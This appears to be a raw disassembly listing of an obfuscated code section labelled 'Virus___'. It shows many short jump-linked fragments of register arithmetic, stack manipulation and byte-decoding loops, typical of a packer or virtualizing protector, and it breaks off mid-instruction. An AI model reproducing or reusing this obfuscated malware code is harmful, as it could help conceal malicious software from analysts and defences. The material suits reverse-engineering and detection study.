64385E6Bh jmp loc_579D94 ; --------------------------------------------------------------------------- loc_5743B1: ; CODE XREF: Virus___:00576090j add edx, edi jmp loc_576B58 ; --------------------------------------------------------------------------- loc_5743B8: ; CODE XREF: Virus___:0057C67Bj and esi, 3DC31469h xor esi, 1D3C32E3h sub eax, esi pop esi sub eax, esi push esi mov esi, 30B85F82h jmp loc_57B01D ; --------------------------------------------------------------------------- loc_5743D4: ; CODE XREF: Virus___:00579FB4j mov eax, [esp] push esi push esp pop esi jmp loc_579817 ; --------------------------------------------------------------------------- loc_5743DF: ; CODE XREF: Virus___:0057B3CBj push 2CC1h mov [esp], ecx mov ecx, esp push edi mov edi, 11B22758h jmp loc_57BA6E ; --------------------------------------------------------------------------- loc_5743F4: ; CODE XREF: Virus___:0057AFFCj push esp jmp loc_574E31 ; --------------------------------------------------------------------------- loc_5743FA: ; CODE XREF: Virus___:0057A518j push edx jmp loc_572E2C ; --------------------------------------------------------------------------- loc_574400: ; CODE XREF: Virus___:0057F00Fj pop esi and ebp, 207C564Ah sub ebp, 0F61FAD4Bh xor esi, ebp jmp loc_57A767 ; --------------------------------------------------------------------------- loc_574414: ; CODE XREF: Virus___:005734F9j pop esp push edi mov edi, 18DD0957h and edi, 3D1C5B2Bh add edi, 5A2571B1h sub eax, edi jmp loc_57E374 ; --------------------------------------------------------------------------- loc_57442E: ; CODE XREF: Virus___:005733B2j push ebp sub esp, 4 mov [esp], ebx mov ebx, 0CC710BFh mov ebp, 635804FFh sub ebp, 99D2F56h add ebp, 28997754h add ebp, ebx sub ebp, 28997754h jmp loc_57EB6E ; --------------------------------------------------------------------------- loc_57445B: ; CODE XREF: Virus___:00576C03j and edx, 3C135063h shr edx, 2 shl edx, 7 sub edx, 806807FCh mov eax, edx pop edx add ebp, eax jmp loc_57BCD0 ; --------------------------------------------------------------------------- loc_574477: ; CODE XREF: Virus___:00575D15j sub bl, cl add bl, 3Bh pop ecx jmp loc_577D0E ; --------------------------------------------------------------------------- loc_574482: ; CODE XREF: Virus___:00572D81j mov [esp], ecx push eax push dword ptr [esp+4] jmp loc_574C21 ; --------------------------------------------------------------------------- loc_57448F: ; CODE XREF: Virus___:0057DCC8j add eax, ebp pop ebp add eax, 7CD6749Ch jmp loc_57B425 ; --------------------------------------------------------------------------- mov cx, [esp] push edx jmp loc_57B3D0 ; --------------------------------------------------------------------------- loc_5744A6: ; CODE XREF: Virus___:0057A762j xor edx, 1D637E73h or edx, 42B15BA5h sub edx, 0A7714EBh add ecx, edx pop edx jmp loc_574007 ; --------------------------------------------------------------------------- loc_5744C0: ; CODE XREF: Virus___:0057A895j pop dword ptr [esp] sub esp, 4 mov [esp], edx mov edx, 383E04DCh add edx, 68E24FE8h and edx, 64D220ECh and edx, 1A441F2h xor edx, 0C4h jmp loc_57A931 ; --------------------------------------------------------------------------- loc_5744EB: ; CODE XREF: Virus___:005759ACj mov [esp], edi mov edi, 5E4905CCh shl edi, 4 add edi, 4C627D89h not edi inc edi shr edi, 2 add edi, 575EEABh push ecx mov ecx, 0 sub ecx, edi xchg ecx, edi pop ecx push ecx mov ecx, 327D036Ch add edi, ecx pop ecx or edi, 635C517Ah jmp loc_57C91D ; --------------------------------------------------------------------------- loc_574527: ; CODE XREF: Virus___:00576163j push edx mov dl, al mov cl, dl mov edx, [esp] add esp, 4 mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_57E4E8 ; --------------------------------------------------------------------------- lodsb xor al, bl push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_57E125 ; --------------------------------------------------------------------------- loc_57455D: ; CODE XREF: Virus___:0057B8A6j push edi mov edi, 1ACE7715h mov ebp, 410A9B3Ah sub ebp, edi jmp loc_57BECB ; --------------------------------------------------------------------------- loc_57456F: ; CODE XREF: Virus___:005749BBj mov [esp], edx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_574577: ; CODE XREF: Virus___:005764A2j xor ebx, 49FA382Ah add esi, 23AD3282h sub esi, ebx sub esi, 23AD3282h pop ebx add esi, 0CE1515ECh push edx mov edx, 232E7B37h jmp loc_576754 ; --------------------------------------------------------------------------- loc_57459D: ; CODE XREF: Virus___:0057EC7Fj xchg ebx, [esp] jmp loc_572B39 ; --------------------------------------------------------------------------- loc_5745A5: ; CODE XREF: Virus___:0057C1E3j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_57A038 ; --------------------------------------------------------------------------- loc_5745BA: ; CODE XREF: Virus___:00577842j mov [esp], esi mov esi, edi sub esp, 4 mov [esp], esi mov esi, esp push edi mov edi, 75DF18D2h jmp loc_5787A0 ; --------------------------------------------------------------------------- loc_5745D5: ; CODE XREF: Virus___:005762CAj pop eax sub [esp+4], edx jmp loc_57BFD4 ; --------------------------------------------------------------------------- loc_5745DF: ; CODE XREF: Virus___:00577FC8j xchg ebx, [esp] pop esp jmp loc_578EE9 ; --------------------------------------------------------------------------- loc_5745E8: ; CODE XREF: Virus___:005733C7j mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 xchg edx, [esp] jmp loc_575CA1 ; --------------------------------------------------------------------------- loc_57460F: ; CODE XREF: Virus___:00575732j push ecx mov ecx, 160D36E5h not ecx add ecx, 1 jmp loc_57475D ; --------------------------------------------------------------------------- lodsb sub al, 0D9h jmp loc_578881 ; --------------------------------------------------------------------------- mov ax, [esp] push 49B1h mov [esp], eax push 1623h mov [esp], esp jmp loc_5765A1 ; --------------------------------------------------------------------------- loc_574640: ; CODE XREF: Virus___:0057590Ej mov [esp], edi push dword ptr [esp+4] jmp loc_576CCD ; --------------------------------------------------------------------------- loc_57464C: ; CODE XREF: Virus___:0057E951j mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 push ebx mov ebx, 4 sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_578CC3 ; --------------------------------------------------------------------------- loc_574679: ; CODE XREF: Virus___:005760CFj xchg eax, [esp] jmp loc_57B843 ; --------------------------------------------------------------------------- loc_574681: ; CODE XREF: Virus___:00574DECj pop ecx jmp loc_57A4F6 ; --------------------------------------------------------------------------- loc_574687: ; CODE XREF: Virus___:00574022j push 0E18h mov [esp], eax push 79Fh jmp loc_5731A4 ; --------------------------------------------------------------------------- loc_574699: ; CODE XREF: Virus___:005732C5j pop esp sub esp, 4 mov [esp], esi mov esi, 72F6187Ah shr esi, 2 sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_57D9BF ; --------------------------------------------------------------------------- loc_5746C4: ; CODE XREF: Virus___:0057AA76j mov edi, 602B1F1Bh add ecx, edi pop edi add esi, ecx pop ecx add esi, 2118633Ah sub esi, 38BB52EDh jmp loc_573394 ; --------------------------------------------------------------------------- loc_5746E0: ; CODE XREF: Virus___:00573382j mov edi, 2000h and eax, edi jmp loc_579C97 ; --------------------------------------------------------------------------- loc_5746EC: ; CODE XREF: Virus___:0057E8F1j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_57A47A ; --------------------------------------------------------------------------- loc_5746FD: ; CODE XREF: Virus___:00578739j add edi, esi sub edi, 223D71h pop esi add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp xor al, ch pop ecx xor bl, al movzx eax, al sub esp, 4 jmp loc_576332 ; --------------------------------------------------------------------------- loc_574726: ; CODE XREF: Virus___:00572E14j add edx, 12BA1B17h mov edi, edx pop edx push edx mov edx, esp add edx, 4 push edi jmp loc_5754D0 ; --------------------------------------------------------------------------- loc_57473E: ; CODE XREF: Virus___:0057319Fj pop esp mov [esp], ecx jmp loc_57722C ; --------------------------------------------------------------------------- loc_574747: ; CODE XREF: Virus___:0057C336j add dword ptr [esp], 4 pop ecx push edi mov edi, 186F1B35h add edi, 39E5636h jmp loc_5735A7 ; --------------------------------------------------------------------------- loc_57475D: ; CODE XREF: Virus___:0057461Aj sub ecx, 14E02BFh add ecx, 1 jmp loc_57A8DA ; --------------------------------------------------------------------------- loc_57476E: ; CODE XREF: Virus___:00574C37j push eax mov eax, 4 jmp loc_57BE69 ; --------------------------------------------------------------------------- loc_574779: ; CODE XREF: Virus___:00579365j pop dword ptr [eax] mov eax, [esp] add esp, 4 jmp loc_5734A5 ; --------------------------------------------------------------------------- loc_574789: ; CODE XREF: Virus___:00576900j push bx mov bh, 0Eh xor bh, 37h jmp loc_57AADE ; --------------------------------------------------------------------------- loc_574795: ; CODE XREF: Virus___:0057AAD0j mov ecx, [esp] jmp loc_57726F ; --------------------------------------------------------------------------- loc_57479D: ; CODE XREF: Virus___:0057D406j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5747AD: ; CODE XREF: Virus___:0057E9F9j sub esp, 4 mov [esp], edx mov eax, [esp] add esp, 4 jmp loc_578ECC ; --------------------------------------------------------------------------- loc_5747C4: ; CODE XREF: Virus___:00572E8Bj mov [esp], edi mov edi, 894040Dh jmp loc_57818B ; --------------------------------------------------------------------------- loc_5747D1: ; CODE XREF: Virus___:0057B5B7j pop eax push edx jmp loc_57BC99 ; --------------------------------------------------------------------------- loc_5747D8: ; CODE XREF: Virus___:00577D09j pop esp jmp loc_5737E1 ; --------------------------------------------------------------------------- loc_5747DE: ; CODE XREF: Virus___:0057B363j pop edi add ebp, eax jmp loc_57EBBF ; --------------------------------------------------------------------------- loc_5747E6: ; CODE XREF: Virus___:0057DF5Ej pop ebp jmp loc_57C828 ; --------------------------------------------------------------------------- loc_5747EC: ; CODE XREF: Virus___:00579676j xor edi, [esp] mov esp, [esp] jmp loc_579A21 ; --------------------------------------------------------------------------- loc_5747F7: ; CODE XREF: Virus___:0057A324j push dword ptr [esp] mov edx, [esp] add esp, 4 push 5417h mov [esp], eax push esp jmp loc_57CF95 ; --------------------------------------------------------------------------- loc_574811: ; CODE XREF: Virus___:0057AE1Dj mov [esp], eax sub esp, 4 jmp loc_577CAA ; --------------------------------------------------------------------------- loc_57481C: ; CODE XREF: Virus___:005751E2j pop ebx sub ebp, 2D765258h jmp loc_57CEAE ; --------------------------------------------------------------------------- loc_574828: ; CODE XREF: Virus___:0057920Bj pop edi not esi and esi, 15034DA9h jmp loc_57CEC7 ; --------------------------------------------------------------------------- lodsb push edx mov dh, 0DAh xor dh, 0CDh add al, 0B4h add al, 2Fh add al, dh sub al, 2Fh sub al, 0B4h pop edx push 4364h jmp loc_57E2A7 ; --------------------------------------------------------------------------- loc_574852: ; CODE XREF: Virus___:0057B9DFj push ebx push 48662D1Eh pop ebx jmp loc_57B80F ; --------------------------------------------------------------------------- loc_57485E: ; CODE XREF: Virus___:0057E30Ej push ebx push 3C10h jmp loc_57303B ; --------------------------------------------------------------------------- loc_574869: ; CODE XREF: Virus___:005734AFj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 jmp loc_57B194 ; --------------------------------------------------------------------------- loc_574887: ; CODE XREF: Virus___:005740ECj mov edx, 77C73F49h shl edx, 4 shl edx, 2 xchg ecx, edx not ecx jmp loc_5733E4 ; --------------------------------------------------------------------------- loc_57489B: ; CODE XREF: Virus___:0057A395j sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push 1FE6490Ch pop esi shl esi, 5 push ebx mov ebx, 6FA76944h push ebp mov ebp, 892D8AA4h add ebx, ebp pop ebp sub esi, ebx pop ebx jmp loc_5762F6 ; --------------------------------------------------------------------------- loc_5748C7: ; CODE XREF: Virus___:005740CDj mov edi, 347537A0h neg edi not edi add edi, 5F807B10h or edi, 43650BE1h jmp loc_575F3D ; --------------------------------------------------------------------------- loc_5748E1: ; CODE XREF: Virus___:0057D22Ej xor eax, edi xor edi, ecx jmp loc_5792B2 ; --------------------------------------------------------------------------- loc_5748EA: ; CODE XREF: Virus___:0057BA3Bj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_57DBB3 ; --------------------------------------------------------------------------- loc_5748F9: ; CODE XREF: Virus___:0057B570j mov cl, 7Ch jmp loc_5762AD ; --------------------------------------------------------------------------- loc_574900: ; CODE XREF: Virus___:00577CA5j mov ebx, esp push edi mov edi, 4D512F85h add edi, 0B2AED07Fh jmp loc_577A24 ; --------------------------------------------------------------------------- loc_574913: ; CODE XREF: Virus___:00573332j mov [esp], edx mov edx, 4 add esi, 0B9228BEh add esi, edx push 7660h mov [esp], ebp mov ebp, 0B9228BEh sub esi, ebp pop ebp pop edx add esi, 4 xor esi, [esp] jmp loc_57E5F8 ; --------------------------------------------------------------------------- loc_574942: ; CODE XREF: Virus___:0057A0C6j mov ah, 0D3h add ah, 0FFh not ah xor ah, 0F5h and cl, ah pop eax push ebx jmp loc_5758FD ; --------------------------------------------------------------------------- loc_574955: ; CODE XREF: Virus___:0057A59Aj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57495A: ; CODE XREF: Virus___:0057ABB6j mov ebx, esp jmp loc_57C1A4 ; --------------------------------------------------------------------------- loc_574961: ; CODE XREF: Virus___:00574D70j mov ch, 0DCh push eax mov ah, 0BAh jmp loc_57E070 ; --------------------------------------------------------------------------- loc_57496B: ; CODE XREF: Virus___:00574D2Bj xchg ebx, [esp] jmp loc_57782F ; --------------------------------------------------------------------------- loc_574973: ; CODE XREF: Virus___:00572BFCj mov [esp], eax mov ah, 1Ch jmp loc_57A82F ; --------------------------------------------------------------------------- loc_57497D: ; CODE XREF: Virus___:0057A6FDj sub eax, 2A7A3F5Ch jmp loc_57A5FA ; --------------------------------------------------------------------------- loc_574987: ; CODE XREF: Virus___:0057BBCAj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57498C: ; CODE XREF: Virus___:005786B8j add edx, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 jmp loc_57BA40 ; --------------------------------------------------------------------------- mov ax, [esp] push 67FFh jmp loc_57391C ; --------------------------------------------------------------------------- loc_5749BA: ; CODE XREF: Virus___:0057AA8Cj pop esp jmp loc_57456F ; --------------------------------------------------------------------------- loc_5749C0: ; CODE XREF: Virus___:0057B528j sub ebp, 3D1F5A00h pop eax push edi jmp loc_579507 ; --------------------------------------------------------------------------- loc_5749CD: ; CODE XREF: Virus___:0057724Fj pop esp mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] jmp loc_573264 ; --------------------------------------------------------------------------- loc_5749DD: ; CODE XREF: Virus___:00579033j mov [ebx], edx mov ebx, [esp] add esp, 4 jmp loc_57349C ; --------------------------------------------------------------------------- loc_5749EA: ; CODE XREF: Virus___:0057E16Fj sub ecx, 24854E3Fh pop ebx push 5BCBh mov [esp], eax push edi mov edi, 533E06ACh jmp loc_573878 ; --------------------------------------------------------------------------- loc_574A04: ; CODE XREF: Virus___:00574A71j mov [esp], ebx jmp loc_57E309 ; --------------------------------------------------------------------------- loc_574A0C: ; CODE XREF: Virus___:0057A873j push eax jmp loc_576B97 ; --------------------------------------------------------------------------- loc_574A12: ; CODE XREF: Virus___:00576394j xor ebp, [esp] jmp loc_57D212 ; --------------------------------------------------------------------------- loc_574A1A: ; CODE XREF: Virus___:0057AD58j mov esi, [esp] add esp, 4 sub ebx, 6AAB3965h sub ebx, 136EF566h push eax mov eax, 627724C4h sub edi, eax mov eax, [esp] add esp, 4 add edi, ebx add edi, 627724C4h mov ebx, [esp] add esp, 4 xchg edi, [esp] jmp loc_573E6B ; --------------------------------------------------------------------------- loc_574A50: ; CODE XREF: Virus___:0057C784j mov esp, [esp] cmp cx, ax pushf jmp loc_57BA2C ; --------------------------------------------------------------------------- loc_574A5C: ; CODE XREF: Virus___:0057CEE3j push ebx mov bl, 67h not bl sub bl, 20h add bl, 30h xor ch, bl jmp loc_57BE41 ; --------------------------------------------------------------------------- loc_574A6E: ; CODE XREF: Virus___:0057D1D0j sub esp, 4 jmp loc_574A04 ; --------------------------------------------------------------------------- loc_574A76: ; CODE XREF: Virus___:0057E8DDj mov esi, ebp pop ebp add esi, edi pop edi push ebp mov ebp, 238E137Fh not ebp or ebp, 7B2375F1h push ebp not dword ptr [esp] pop ebp and ebp, 24745E2h add ebp, 1FD42ABBh sub ebp, 31476443h add esi, ebp pop ebp mov ebp, esi pop esi jmp loc_57E80F ; --------------------------------------------------------------------------- loc_574AAC: ; CODE XREF: Virus___:005772C9j shr ecx, 3 xor ecx, 15AABCA1h sub edx, ecx pop ecx push edi mov edi, 48AC176Ch sub edx, edi pop edi push ebx mov ebx, 20h jmp loc_579031 ; --------------------------------------------------------------------------- loc_574ACC: ; CODE XREF: Virus___:0057EC59j push 2 pop ebp mov eax, ebp pop ebp push ecx mov ecx, 26745CFEh add esi, ecx jmp loc_57BDD0 ; --------------------------------------------------------------------------- loc_574AE2: ; CODE XREF: Virus___:00579222j pop esp mov [esp], edi jmp loc_577B0E ; --------------------------------------------------------------------------- loc_574AEB: ; CODE XREF: Virus___:00578E26j mov edi, esp add edi, 4 push ecx jmp loc_577A10 ; --------------------------------------------------------------------------- loc_574AF9: ; CODE XREF: Virus___:0057907Dj sub eax, 4 xchg eax, [esp] pop esp jmp loc_57DD7D ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp pop ecx jmp loc_57EB33 ; --------------------------------------------------------------------------- loc_574B11: ; CODE XREF: Virus___:00575049j mov edx, 0FFFC8AC3h xor ebx, edx jmp loc_57DC80 ; --------------------------------------------------------------------------- loc_574B1D: ; CODE XREF: Virus___:0057B278j add esi, 54DF123Dh push ebx mov ebx, 11821438h xor ebx, 6F2864F3h sub esi, ebx pop ebx add esi, ecx add esi, 7EAA70CBh jmp loc_57C89C ; --------------------------------------------------------------------------- loc_574B3F: ; CODE XREF: Virus___:00577DABj pop eax add esp, 4 xor esi, [esp] jmp loc_57C456 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp jmp loc_57DC96 ; --------------------------------------------------------------------------- loc_574B57: ; CODE XREF: Virus___:0057A4F1j mov ecx, [esp] jmp loc_57EF1E ; --------------------------------------------------------------------------- align 10h dd 0D80059E8h, 172BE9h, 81F90100h, 8769E5E9h, 0CCC1816Dh dd 0FF4BDA23h, 835F2434h, 0C3304C4h, 240C3124h, 0E9240C33h dd 70D2h ; --------------------------------------------------------------------------- loc_574B8C: ; CODE XREF: Virus___:0057EC4Cj xor ecx, [esp] xor [esp], ecx jmp loc_5765D8 ; --------------------------------------------------------------------------- loc_574B97: ; CODE XREF: Virus___:0057353Ej push edx jmp loc_57BBEE ; --------------------------------------------------------------------------- loc_574B9D: ; CODE XREF: Virus___:0057C340j dec edx add edx, 0E39F1F17h xor edi, edx pop edx add edi, 0C821F7A8h add ebp, edi pop edi add ebp, 4 jmp loc_57841E ; --------------------------------------------------------------------------- loc_574BB8: ; CODE XREF: Virus___:0057BC73j mov [esp], ebp mov ebp, 33BD4A7Eh xor ebp, 7DEB1535h and ebp, 5209578Fh push edx mov edx, 0FFFFFFFFh sub ebp, 39E02F54h add ebp, edx add ebp, 39E02F54h pop edx xor ebp, 4200570Eh add edi, ebp pop ebp push 7205h mov [esp], edx mov edx, 668B2AA5h dec edx shl edx, 7 push ebx jmp loc_575D05 ; --------------------------------------------------------------------------- loc_574C01: ; CODE XREF: Virus___:00577FDCj push ebx mov ebx, 659F3927h xor ebx, 659F3923h add edi, ebx jmp loc_5790B0 ; --------------------------------------------------------------------------- loc_574C14: ; CODE XREF: Virus___:0057E2AAj mov cl, 35h inc cl push small 0 jmp loc_57B1E5 ; --------------------------------------------------------------------------- loc_574C21: ; CODE XREF: Virus___:0057448Aj pop eax pop dword ptr [esp] not eax xor [esp], eax xor eax, [esp] xor [esp], eax pop ecx xchg ecx, ebp xchg eax, ebp push edx mov edx, esp jmp loc_57476E ; --------------------------------------------------------------------------- loc_574C3C: ; CODE XREF: Virus___:00573AEFj mov [esp], ebp jmp loc_579D9A ; --------------------------------------------------------------------------- loc_574C44: ; CODE XREF: Virus___:0057E28Ej sub ecx, 43247922h sub ebx, 5AB056CDh add ebx, ecx push ebp mov ebp, 5AB056CDh sub ebx, 7C7F369Ah add ebx, ebp push eax mov eax, 7C7F369Ah add ebx, eax pop eax pop ebp mov ecx, [esp] jmp loc_57B585 ; --------------------------------------------------------------------------- loc_574C72: ; CODE XREF: Virus___:0057A996j add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_57928B ; --------------------------------------------------------------------------- loc_574C84: ; CODE XREF: Virus___:005740DDj mov ecx, esp push eax mov eax, 315932E9h push ecx mov ecx, 16033696h inc ecx and ecx, 6CA018A8h sub ecx, 0F1A6B0BCh jmp loc_57B08E ; --------------------------------------------------------------------------- loc_574CA4: ; CODE XREF: Virus___:00579B9Cj mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp push 5F58h jmp loc_576019 ; --------------------------------------------------------------------------- loc_574CCB: ; CODE XREF: Virus___:00576405j mov [esp], ecx push esp jmp loc_5759A6 ; --------------------------------------------------------------------------- loc_574CD4: ; CODE XREF: Virus___:005767A1j not ebp push eax push ebp pop eax pop ebp sub eax, 5456189Eh jmp loc_577F4F ; --------------------------------------------------------------------------- push 582h jmp loc_572C27 ; --------------------------------------------------------------------------- loc_574CEE: ; CODE XREF: Virus___:00576009j xor [esp], ecx xor ecx, [esp] pop esp push 5386h mov [esp], ecx mov ch, 6Eh xor ch, 2Ch add ch, 1 push 4E10h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx jmp loc_57553D ; --------------------------------------------------------------------------- loc_574D25: ; CODE XREF: Virus___:0057B161j add ebx, esi pop esi sub ebx, 4 jmp loc_57496B ; --------------------------------------------------------------------------- loc_574D30: ; CODE XREF: Virus___:0057BE77j push ebx push eax push 7723456Fh pop eax xor eax, 38287A18h sub eax, 102AEECFh mov ebx, eax pop eax jmp loc_577A50 ; --------------------------------------------------------------------------- loc_574D4A: ; CODE XREF: Virus___:0057AF06j add esi, 4 xchg esi, [esp] pop esp jmp loc_57C149 ; --------------------------------------------------------------------------- loc_574D56: ; CODE XREF: Virus___:00575950j mov bh, dl jmp loc_574DB2 ; --------------------------------------------------------------------------- loc_574D5D: ; CODE XREF: Virus___:00572B0Fj mov ebx, 4EA0307Ah or ebx, 5D0B5F85h not ebx jmp loc_573C10 ; --------------------------------------------------------------------------- loc_574D6F: ; CODE XREF: Virus___:0057C79Ej push ecx jmp loc_574961 ; --------------------------------------------------------------------------- loc_574D75: ; CODE XREF: Virus___:005778B7j push 6AEB4619h pop edx jmp loc_578B69 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push eax push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] jmp loc_577197 ; --------------------------------------------------------------------------- loc_574D99: ; CODE XREF: Virus___:0057C299j push esi mov esi, 6DEC23C8h xor esi, 44CC2A7Dh sub esi, 0C3699F31h or eax, esi jmp loc_577B96 ; --------------------------------------------------------------------------- loc_574DB2: ; CODE XREF: Virus___:00574D58j pop edx shr bh, 4 push ecx mov cl, 0E9h jmp loc_579FCC ; --------------------------------------------------------------------------- loc_574DBE: ; CODE XREF: Virus___:005738DEj mov [esp], ecx mov ecx, 3BF20C80h jmp loc_578E2B ; --------------------------------------------------------------------------- lodsb xor al, bl push eax mov eax, esp jmp loc_57A9AA ; --------------------------------------------------------------------------- loc_574DD6: ; CODE XREF: Virus___:0057C27Ej add ebp, 4 sub ebp, 4 jmp loc_57921F ; --------------------------------------------------------------------------- loc_574DE4: ; CODE XREF: Virus___:005790ABj push ecx mov ecx, 0AE365579h sub esi, ecx jmp loc_574681 ; --------------------------------------------------------------------------- loc_574DF1: ; CODE XREF: Virus___:0057DB1Bj pop ebp pop dword ptr [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_574E02: ; CODE XREF: Virus___:00579A69j mov ebp, 2 sub edi, 5E0F5328h add edi, ebp add edi, 5E0F5328h push dword ptr [esp] pop ebp add esp, 4 jmp loc_57A276 ; --------------------------------------------------------------------------- loc_574E24: ; CODE XREF: Virus___:0057E5B1j push eax mov eax, 24h add eax, edi jmp loc_57CD81 ; --------------------------------------------------------------------------- loc_574E31: ; CODE XREF: Virus___:005743F5j pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_57C2AE ; --------------------------------------------------------------------------- loc_574E49: ; CODE XREF: Virus___:00579280j pop ecx sub eax, edx jmp loc_57BA48 ; --------------------------------------------------------------------------- loc_574E51: ; CODE XREF: Virus___:0057D349j sub ax, 2993h jmp loc_57A95C ; --------------------------------------------------------------------------- loc_574E5A: ; CODE XREF: Virus___:005762B8j pop eax not ch push ebx mov bh, 66h sub ch, bh jmp loc_57412E ; --------------------------------------------------------------------------- loc_574E67: ; CODE XREF: Virus___:0057516Cj inc ecx inc ecx add ecx, 0F0533072h sub ebx, ecx mov ecx, [esp] add esp, 4 xor esi, ebx jmp loc_57C6C7 ; --------------------------------------------------------------------------- loc_574E7E: ; CODE XREF: Virus___:005761AAj sub bl, ch add bl, 7Dh pop ecx pop eax dec bl add bl, 0E5h jmp loc_57B945 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_574E9D: ; CODE XREF: Virus___:0057AAC8j sub ebx, 0CAB10BAh jmp loc_579143 ; --------------------------------------------------------------------------- loc_574EA8: ; CODE XREF: Virus___:00572CD0j pop ecx add ebx, 2 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp inc byte ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_574EC2: ; CODE XREF: Virus___:00577340j mov ebx, 4D5148CAh jmp loc_572F37 ; --------------------------------------------------------------------------- loc_574ECC: ; CODE XREF: Virus___:00574386j mov [esp], ebx mov ebx, 7628E566h push ebp push ebx sub dword ptr [esp], 3B73248h pop ebp add ebp, 3B73248h jmp loc_577146 ; --------------------------------------------------------------------------- loc_574EE9: ; CODE XREF: Virus___:005772ABj add ecx, 15A53F83h sub ecx, 658446FAh jmp loc_576D8E ; --------------------------------------------------------------------------- loc_574EFA: ; CODE XREF: Virus___:0057C75Aj mov ecx, esp add ecx, 4 jmp loc_5760D4 ; --------------------------------------------------------------------------- loc_574F07: ; CODE XREF: Virus___:0057EFE0j dec edi jmp loc_57B721 ; --------------------------------------------------------------------------- loc_574F0D: ; CODE XREF: Virus___:00573DAAj add ebx, ecx pop ecx push ebx push dword ptr [esp+4] jmp loc_57364D ; --------------------------------------------------------------------------- loc_574F1A: ; CODE XREF: Virus___:0057A8BDj mov dh, bl mov ebx, [esp] jmp loc_572EB8 ; --------------------------------------------------------------------------- loc_574F24: ; CODE XREF: Virus___:0057F028j pop ebx mov ecx, edi pop edi push edx mov edx, 23CE404Fh add ebx, edx pop edx sub ebx, ecx sub ebx, 23CE404Fh mov ecx, [esp] add esp, 4 push 77B9h mov [esp], edi mov edi, 35CA399Dh add eax, 7456E8Ch jmp loc_57EC24 ; --------------------------------------------------------------------------- loc_574F56: ; CODE XREF: Virus___:00577D73j mov esi, 23D63241h add ebp, esi pop esi add ebp, edi push esi jmp loc_57826C ; --------------------------------------------------------------------------- loc_574F66: ; CODE XREF: Virus___:005791B2j add edi, ecx mov ecx, [esp] jmp loc_579A55 ; --------------------------------------------------------------------------- loc_574F70: ; CODE XREF: Virus___:00575ED9j add edx, eax sub edx, 367407FBh mov eax, [esp] add esp, 4 push ecx mov ecx, 2 sub edx, 59305C79h jmp loc_577139 ; --------------------------------------------------------------------------- loc_574F8F: ; CODE XREF: Virus___:0057921Aj add dword ptr [esp], 4 pop edx add edx, 4 push ebp mov ebp, 6D087BFEh jmp loc_574FC1 ; --------------------------------------------------------------------------- loc_574FA5: ; CODE XREF: Virus___:0057B5C4j and ecx, ebx push dword ptr [esp] pop ebx jmp loc_57EC40 ; --------------------------------------------------------------------------- loc_574FB0: ; CODE XREF: Virus___:00577BDDj or ebx, 3889589Bh xor ebx, 38C96D9Bh jmp loc_57C4E4 ; --------------------------------------------------------------------------- loc_574FC1: ; CODE XREF: Virus___:00574FA0j and ebp, 1A0F7E50h xor ebp, 65E97362h jmp loc_57ED01 ; --------------------------------------------------------------------------- loc_574FD2: ; CODE XREF: Virus___:0057A4E5j sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_57C5D1 ; --------------------------------------------------------------------------- loc_574FE1: ; CODE XREF: Virus___:0057A967j push ebx push small 42C7h pop bx jmp loc_57579B ; --------------------------------------------------------------------------- loc_574FED: ; CODE XREF: Virus___:0057A167j push dword ptr [esp] pop eax add esp, 4 xor eax, 779A6FB0h push small word ptr [eax] jmp loc_578A22 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edi jmp loc_572EA1 ; --------------------------------------------------------------------------- loc_57500E: ; CODE XREF: Virus___:0057B018j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push ecx mov ecx, 13FD5403h jmp loc_575A57 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_579FC0 ; --------------------------------------------------------------------------- loc_57502F: ; CODE XREF: Virus___:00573AFDj sub eax, 4246645Ah jmp loc_57E8E2 ; --------------------------------------------------------------------------- loc_575039: ; CODE XREF: Virus___:0057A06Aj push ebx mov ebx, 408E4FF0h shl ebx, 8 xor ebx, 71B37AC7h push edx jmp loc_574B11 ; --------------------------------------------------------------------------- loc_57504E: ; CODE XREF: Virus___:0057D492j add edi, ecx push edx mov edx, 7A330C85h push esi jmp 